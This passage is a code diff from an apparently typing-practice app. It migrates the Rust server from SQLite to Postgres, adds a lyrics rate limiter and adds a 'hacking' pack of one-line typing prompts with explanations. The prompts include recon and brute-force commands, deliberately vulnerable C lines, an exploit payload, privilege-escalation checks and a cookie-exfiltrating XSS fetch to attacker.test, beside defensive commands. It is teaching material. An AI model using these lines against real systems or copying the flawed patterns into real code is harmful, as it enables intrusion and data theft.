use crate::multiplayer::{new_registry, RoomRegistry};
use crate::rate_limit::RateLimiter;
use reqwest::Client;
-use sqlx::SqlitePool;
+use sqlx::PgPool;
use std::time::Duration;
#[derive(Clone, Default)]
@@ -28,13 +28,17 @@ pub struct RaceText {
#[derive(Clone)]
pub struct AppState {
- pub db: SqlitePool,
+ pub db: PgPool,
pub auth_rate_limiter: RateLimiter,
/// Keyed by user id, not IP - this guards an authenticated endpoint
/// (stats submission) against a single compromised/scripted account
/// hammering it, which an IP-keyed limiter wouldn't catch behind NAT or
/// a VPN and would over-punish for a shared IP.
pub stats_rate_limiter: RateLimiter<String>,
+ /// /api/lyrics forwards to a third party on the caller's behalf, so it is
+ /// an open proxy unless it is bounded. Keyed by IP, since the endpoint is
+ /// reachable without an account.
+ pub lyrics_rate_limiter: RateLimiter,
/// Set from COOKIE_SECURE. Off for plain-HTTP local dev, must be on
/// behind TLS in production or browsers silently drop the cookie.
pub cookie_secure: bool,
@@ -50,7 +54,7 @@ pub struct AppState {
impl AppState {
pub fn new(
- db: SqlitePool,
+ db: PgPool,
cookie_secure: bool,
race_texts: Vec<RaceText>,
spotify: SpotifyConfig,
@@ -63,6 +67,7 @@ impl AppState {
// seconds; 60 submissions in 5 minutes is generous headroom for
// rapid Words-10 sessions while still capping scripted spam.
stats_rate_limiter: RateLimiter::new(60, Duration::from_secs(5 * 60)),
+ lyrics_rate_limiter: RateLimiter::new(30, Duration::from_secs(60)),
cookie_secure,
rooms: new_registry(),
race_texts,
diff --git a/crates/server/src/stats.rs b/crates/server/src/stats.rs
index a7d3a70..931e096 100644
--- a/crates/server/src/stats.rs
+++ b/crates/server/src/stats.rs
@@ -75,7 +75,7 @@ async fn submit_result(
sqlx::query(
"INSERT INTO test_results (id, user_id, mode_key, wpm, raw_wpm, accuracy, time_seconds, created_at, device_type, flagged)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
+ VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)",
)
.bind(uuid::Uuid::new_v4().to_string())
.bind(&user.id)
@@ -120,7 +120,7 @@ async fn fetch_stats_summary(state: &AppState, user_id: &str) -> Result<MyStats,
COALESCE(AVG(wpm), 0) as average_wpm,
COALESCE(AVG(accuracy), 0) as average_accuracy,
COALESCE(MAX(wpm), 0) as best_wpm
- FROM test_results WHERE user_id = ?",
+ FROM test_results WHERE user_id = $1",
)
.bind(user_id)
.fetch_one(&state.db)
@@ -133,7 +133,7 @@ async fn fetch_stats_summary(state: &AppState, user_id: &str) -> Result<MyStats,
"SELECT mode_key, wpm, created_at FROM (
SELECT mode_key, wpm, created_at,
ROW_NUMBER() OVER (PARTITION BY mode_key ORDER BY wpm DESC) as rn
- FROM test_results WHERE user_id = ?
+ FROM test_results WHERE user_id = $1
) WHERE rn = 1",
)
.bind(user_id)
@@ -187,7 +187,7 @@ async fn public_profile(State(state): State<Arc<AppState>>, Path(username): Path
let row = sqlx::query(
"SELECT users.id as id, users.created_at as created_at, cosmetics.value as flair_value
FROM users LEFT JOIN cosmetics ON cosmetics.id = users.equipped_flair
- WHERE users.username = ?",
+ WHERE users.username = $1",
)
.bind(&username)
.fetch_optional(&state.db)
@@ -252,15 +252,15 @@ async fn leaderboard(State(state): State<Arc<AppState>>, Query(q): Query<Leaderb
FROM test_results
JOIN users ON users.id = test_results.user_id
LEFT JOIN cosmetics ON cosmetics.id = users.equipped_flair
- WHERE test_results.mode_key = ? AND test_results.flagged = 0
- AND (? = 0 OR test_results.device_type = 'desktop')
- ) WHERE rn = 1
+ WHERE test_results.mode_key = $1 AND NOT test_results.flagged
+ AND (NOT $2 OR test_results.device_type = 'desktop')
+ ) AS ranked WHERE rn = 1
ORDER BY wpm DESC
- LIMIT ?",
+ LIMIT $3",
)
.bind(&q.mode)
.bind(desktop_only)
- .bind(limit)
+ .bind(limit as i64)
.fetch_all(&state.db)
.await?;
@@ -273,7 +273,7 @@ async fn leaderboard(State(state): State<Arc<AppState>>, Query(q): Query<Leaderb
date: row.try_get("created_at").unwrap_or_default(),
device_type: row.try_get("device_type").unwrap_or_default(),
flair: row.try_get::<Option<String>, _>("flair_value").unwrap_or(None),
- is_bot: row.try_get::<i64, _>("is_bot").unwrap_or(0) != 0,
+ is_bot: row.try_get::<bool, _>("is_bot").unwrap_or(false),
})
.collect();
diff --git a/data/packs/hacking.json b/data/packs/hacking.json
new file mode 100644
index 0000000..471c8d0
--- /dev/null
+++ b/data/packs/hacking.json
@@ -0,0 +1,24 @@
+[
+ {"category":"hacking","language":"shell","attribution":"Recon","explanation":"A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list.","content":"nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24"},
+ {"category":"hacking","language":"shell","attribution":"Recon","explanation":"Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live.","content":"gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40"},
+ {"category":"hacking","language":"shell","attribution":"Recon","explanation":"Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints.","content":"curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u"},
+ {"category":"hacking","language":"shell","attribution":"Web","attribution_note":"","explanation":"Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories.","content":"ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403"},
+ {"category":"hacking","language":"shell","attribution":"Web","explanation":"Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable.","content":"curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'"},
+ {"category":"hacking","language":"shell","attribution":"Web","explanation":"A header the application echoes back into a redirect or a password-reset link is a host header injection.","content":"curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location"},
+ {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger.","content":"char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */"},
+ {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object.","content":"free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */"},
+ {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"An attacker-controlled format string. Every %x walks the stack; %n writes to it.","content":"printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */"},
+ {"category":"hacking","language":"python","attribution":"Exploit dev","explanation":"A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address.","content":"payload = b'A' * 72 + p64(0x401196) + p64(win_addr)"},
+ {"category":"hacking","language":"python","attribution":"Exploit dev","explanation":"Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated.","content":"libc.address = leak - libc.symbols['puts']"},
+ {"category":"hacking","language":"shell","attribution":"Crypto","explanation":"An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years.","content":"hashcat -m 0 -a 0 hashes.txt rockyou.txt --force"},
+ {"category":"hacking","language":"shell","attribution":"Crypto","explanation":"Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning.","content":"openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text"},
+ {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it.","content":"find / -perm -4000 -type f 2>/dev/null"},
+ {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root.","content":"sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'"},
+ {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working.","content":"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"},
+ {"category":"hacking","language":"javascript","attribution":"Web","explanation":"A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it.","content":"fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))"},
+ {"category":"hacking","language":"javascript","attribution":"Web","explanation":"Prototype pollution: writing through __proto__ reaches every object that inherits from it.","content":"JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')"},
+ {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing.","content":"iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT"},
+ {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed.","content":"journalctl -u sshd -f | grep -Ei 'failed|invalid user'"},
+ {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Compares installed files against the package manager's own checksums. A changed system binary shows up here.","content":"pacman -Qkk 2>&1 | grep -v ' 0 altered files'"},
+ {"category":"hacking","language":"python","attribution":"Defence","explanation":"Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing.","content":"if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')"}
+]
diff --git a/texts.json b/texts.json
index 931151b..b659440 100644
--- a/texts.json
+++ b/texts.json
@@ -1,35 +1,75 @@
[
{
+ "category": "business",
+ "content": "Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.",
+ "attribution": "Business"
+ },
+ {
"category": "literature",
- "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
- "attribution": "Charles Dickens, A Tale of Two Cities"
+ "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
+ "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
+ },
+ {
+ "category": "technology",
+ "content": "Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.",
+ "attribution": "Technology"
+ },
+ {
+ "category": "hacking",
+ "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
+ "attribution": "Post-exploitation",
+ "language": "shell",
+ "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
+ },
+ {
+ "category": "programming",
+ "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
},
{
"category": "business",
- "content": "A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.",
- "attribution": "Business"
+ "content": "The purpose of a business is to create and keep a customer.",
+ "attribution": "Peter Drucker"
},
{
- "category": "movies",
- "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
- "attribution": "The Usual Suspects (1995)"
+ "category": "hacking",
+ "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
+ "attribution": "Web",
+ "language": "shell",
+ "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
},
{
"category": "anime",
- "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
- "attribution": "Fullmetal Alchemist"
+ "content": "Don't believe in yourself. Believe in me who believes in you.",
+ "attribution": "Gurren Lagann"
},
{
- "category": "general",
- "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.",
- "attribution": "General knowledge"
+ "category": "history",
+ "content": "The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.",
+ "attribution": "History"
+ },
+ {
+ "category": "hacking",
+ "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
+ "attribution": "Crypto",
+ "language": "shell",
+ "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
},
{
"category": "programming",
- "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
+ "content": "try: value = int(raw) except ValueError: value = 0",
"attribution": "Python",
"language": "python",
- "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
+ "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
+ },
+ {
+ "category": "hacking",
+ "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
+ "attribution": "Memory safety",
+ "language": "clike",
+ "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
},
{
"category": "philosophy",
@@ -37,123 +77,153 @@
"attribution": "Philosophy"
},
{
- "category": "business",
- "content": "Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.",
- "attribution": "Business"
+ "category": "movies",
+ "content": "I love the smell of napalm in the morning.",
+ "attribution": "Apocalypse Now (1979)"
},
{
- "category": "programming",
- "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
- "attribution": "C",
- "language": "clike",
- "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
+ "category": "nature",
+ "content": "A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.",
+ "attribution": "Nature"
},
{
- "category": "literature",
- "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
- "attribution": "H.G. Wells, The Time Machine"
+ "category": "nature",
+ "content": "The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.",
+ "attribution": "Nature"
},
{
- "category": "movies",
- "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
- "attribution": "Jurassic Park (1993)"
+ "category": "science",
+ "content": "Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.",
+ "attribution": "Science, after Charles Darwin"
},
{
- "category": "literature",
- "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
- "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
+ "category": "nature",
+ "content": "Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.",
+ "attribution": "Nature"
},
{
"category": "movies",
- "content": "Oh, what a day. What a lovely day!",
- "attribution": "Mad Max: Fury Road (2015)"
+ "content": "If you could see your whole life laid out in front of you, would you change things?",
+ "attribution": "Arrival (2016)"
},
{
- "category": "business",
- "content": "Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.",
- "attribution": "Business"
+ "category": "literature",
+ "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
+ "attribution": "Herman Melville, Moby-Dick"
},
{
- "category": "nature",
- "content": "A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.",
- "attribution": "Nature"
+ "category": "philosophy",
+ "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.",
+ "attribution": "Philosophy"
},
{
- "category": "anime",
- "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
- "attribution": "Attack on Titan"
+ "category": "history",
+ "content": "The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.",
+ "attribution": "History"
},
{
- "category": "anime",
- "content": "We fear that which we cannot see.",
- "attribution": "Bleach"
+ "category": "movies",
+ "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
+ "attribution": "The Silence of the Lambs (1991)"
},
{
"category": "literature",
- "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
- "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
+ "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
+ "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
},
{
- "category": "programming",
- "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
- "attribution": "Shell",
+ "category": "hacking",
+ "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
+ "attribution": "Defence",
"language": "shell",
- "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
+ "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
},
{
- "category": "movies",
- "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
- "attribution": "The Matrix (1999)"
- },
- {
- "category": "business",
- "content": "Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.",
- "attribution": "Business"
+ "category": "anime",
+ "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
+ "attribution": "Vinland Saga"
},
{
"category": "technology",
- "content": "The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.",
+ "content": "A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.",
"attribution": "Technology"
},
{
- "category": "business",
- "content": "A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.",
- "attribution": "Business"
+ "category": "anime",
+ "content": "Hard work is worthless for those that don't believe in themselves.",
+ "attribution": "Naruto"
+ },
+ {
+ "category": "general",
+ "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.",
+ "attribution": "General knowledge"
},
{
"category": "movies",
- "content": "I am big. It's the pictures that got small.",
- "attribution": "Sunset Boulevard (1950)"
+ "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
+ "attribution": "Casablanca (1942)"
+ },
+ {
+ "category": "philosophy",
+ "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.",
+ "attribution": "Philosophy"
},
{
"category": "movies",
- "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
- "attribution": "Interstellar (2014)"
+ "content": "You're gonna need a bigger boat.",
+ "attribution": "Jaws (1975)"
+ },
+ {
+ "category": "history",
+ "content": "The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.",
+ "attribution": "History"
+ },
+ {
+ "category": "philosophy",
+ "content": "It's not what happens to you, but how you react to it that matters.",
+ "attribution": "Epictetus"
},
{
"category": "science",
- "content": "Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.",
+ "content": "Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.",
"attribution": "Science"
},
{
- "category": "general",
- "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.",
- "attribution": "General knowledge"
+ "category": "business",
+ "content": "Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.",
+ "attribution": "History of Business"
},
{
- "category": "science",
- "content": "Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.",
- "attribution": "Science, after Charles Darwin"
+ "category": "hacking",
+ "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
+ "attribution": "Post-exploitation",
+ "language": "shell",
+ "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
},
{
- "category": "movies",
- "content": "I'm gonna make him an offer he can't refuse.",
- "attribution": "The Godfather (1972)"
+ "category": "nature",
+ "content": "Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.",
+ "attribution": "Nature"
},
{
"category": "anime",
- "content": "Overspecialize, and you breed in weakness. It's slow death.",
- "attribution": "Ghost in the Shell"
+ "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
+ "attribution": "Naruto"
+ },
+ {
+ "category": "history",
+ "content": "The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.",
+ "attribution": "History"
+ },
+ {
+ "category": "business",
+ "content": "Customer obsession, rather than competitor focus, is the surest path to long term success.",
+ "attribution": "Jeff Bezos"
+ },
+ {
+ "category": "anime",
+ "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
+ "attribution": "Steins;Gate"
},
{
"category": "anime",
@@ -161,94 +231,125 @@
"attribution": "Cowboy Bebop"
},
{
- "category": "business",
- "content": "A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.",
- "attribution": "Business"
+ "category": "movies",
+ "content": "You either die a hero, or you live long enough to see yourself become the villain.",
+ "attribution": "The Dark Knight (2008)"
},
{
- "category": "movies",
- "content": "With great power comes great responsibility.",
- "attribution": "Spider-Man (2002)"
+ "category": "anime",
+ "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
+ "attribution": "Fullmetal Alchemist"
},
{
- "category": "literature",
- "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
- "attribution": "F. Scott Fitzgerald, The Great Gatsby"
+ "category": "programming",
+ "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
+ "attribution": "Shell",
+ "language": "shell",
+ "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
},
{
- "category": "technology",
- "content": "Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.",
- "attribution": "Technology"
+ "category": "quotes",
+ "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
+ "attribution": "Frederick Douglass"
},
{
- "category": "philosophy",
- "content": "It is not that we have a short time to live, but that we waste a lot of it.",
- "attribution": "Seneca, On the Shortness of Life"
+ "category": "science",
+ "content": "The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.",
+ "attribution": "Science"
},
{
- "category": "anime",
- "content": "Hard work is worthless for those that don't believe in themselves.",
- "attribution": "Naruto"
+ "category": "programming",
+ "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
+ },
+ {
+ "category": "general",
+ "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.",
+ "attribution": "General knowledge"
+ },
+ {
+ "category": "business",
+ "content": "Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.",
+ "attribution": "Business"
+ },
+ {
+ "category": "hacking",
+ "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
+ "attribution": "Defence",
+ "language": "shell",
+ "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
+ },
+ {
+ "category": "literature",
+ "content": "All we have to decide is what to do with the time that is given us.",
+ "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
+ },
+ {
+ "category": "science",
+ "content": "The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.",
+ "attribution": "Science"
},
{
"category": "anime",
- "content": "If you don't take risks, you can't create a future.",
- "attribution": "One Piece"
+ "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
+ "attribution": "Attack on Titan"
},
{
"category": "nature",
- "content": "Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.",
+ "content": "Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.",
"attribution": "Nature"
},
{
- "category": "business",
- "content": "Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.",
- "attribution": "Business"
+ "category": "anime",
+ "content": "Once you've met someone, you never really forget them.",
+ "attribution": "Spirited Away"
},
{
- "category": "anime",
- "content": "A heart's a heavy burden.",
- "attribution": "Howl's Moving Castle"
+ "category": "nature",
+ "content": "The world is big and I want to have a good look at it before it gets dark.",
+ "attribution": "John Muir"
},
{
- "category": "technology",
- "content": "Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.",
- "attribution": "Technology"
+ "category": "general",
+ "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.",
+ "attribution": "General knowledge"
},
{
"category": "history",
- "content": "The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.",
- "attribution": "History"
+ "content": "I will fight no more forever.",
+ "attribution": "Chief Joseph, Nez Perce, 1877"
},
{
- "category": "science",
- "content": "DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.",
- "attribution": "Science"
+ "category": "technology",
+ "content": "Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.",
+ "attribution": "Technology"
},
{
- "category": "quotes",
- "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
- "attribution": "Theodore Roosevelt, Citizenship in a Republic"
+ "category": "movies",
+ "content": "There's no crying in baseball.",
+ "attribution": "A League of Their Own (1992)"
},
{
- "category": "quotes",
- "content": "It always seems impossible until it's done.",
- "attribution": "Nelson Mandela"
+ "category": "nature",
+ "content": "Heaven is under our feet as well as over our heads.",
+ "attribution": "Henry David Thoreau, Walden"
},
{
- "category": "general",
- "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.",
- "attribution": "General knowledge"
+ "category": "technology",
+ "content": "Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.",
+ "attribution": "Technology"
},
{
- "category": "quotes",
- "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
- "attribution": "Marcus Aurelius, Meditations"
+ "category": "literature",
+ "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
+ "attribution": "Louisa May Alcott, Little Women"
},
{
"category": "movies",
- "content": "What we've got here is failure to communicate.",
- "attribution": "Cool Hand Luke (1967)"
+ "content": "Oh, what a day. What a lovely day!",
+ "attribution": "Mad Max: Fury Road (2015)"
},
{
"category": "philosophy",
@@ -256,478 +357,520 @@
"attribution": "Philosophy"
},
{
- "category": "history",
- "content": "The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.",
- "attribution": "History"
+ "category": "general",
+ "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.",
+ "attribution": "General knowledge"
},
{
- "category": "history",
- "content": "The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.",
- "attribution": "History"
+ "category": "movies",
+ "content": "All those moments will be lost in time, like tears in rain. Time to die.",
+ "attribution": "Blade Runner (1982)"
},
{
- "category": "technology",
- "content": "Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.",
- "attribution": "Technology"
+ "category": "anime",
+ "content": "Anywhere can be paradise as long as you have the will to live.",
+ "attribution": "Neon Genesis Evangelion"
+ },
+ {
+ "category": "history",
+ "content": "The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.",
+ "attribution": "History"
},
{
"category": "anime",
- "content": "When do you think people die? When they are forgotten.",
- "attribution": "One Piece"
+ "content": "When you look at someone's kindness, it's like looking at the sun.",
+ "attribution": "Fruits Basket"
},
{
- "category": "technology",
- "content": "Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.",
- "attribution": "Technology"
+ "category": "philosophy",
+ "content": "It does not matter how slowly you go as long as you do not stop.",
+ "attribution": "Confucius, Analects"
},
{
- "category": "science",
- "content": "Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.",
- "attribution": "Science"
+ "category": "general",
+ "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.",
+ "attribution": "General knowledge"
},
{
- "category": "business",
- "content": "Customer obsession, rather than competitor focus, is the surest path to long term success.",
- "attribution": "Jeff Bezos"
+ "category": "literature",
+ "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
+ "attribution": "F. Scott Fitzgerald, The Great Gatsby"
},
{
- "category": "anime",
- "content": "This world is rotten, and those who are making it rot deserve to die.",
- "attribution": "Death Note"
+ "category": "programming",
+ "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
},
{
- "category": "movies",
- "content": "I love the smell of napalm in the morning.",
- "attribution": "Apocalypse Now (1979)"
+ "category": "literature",
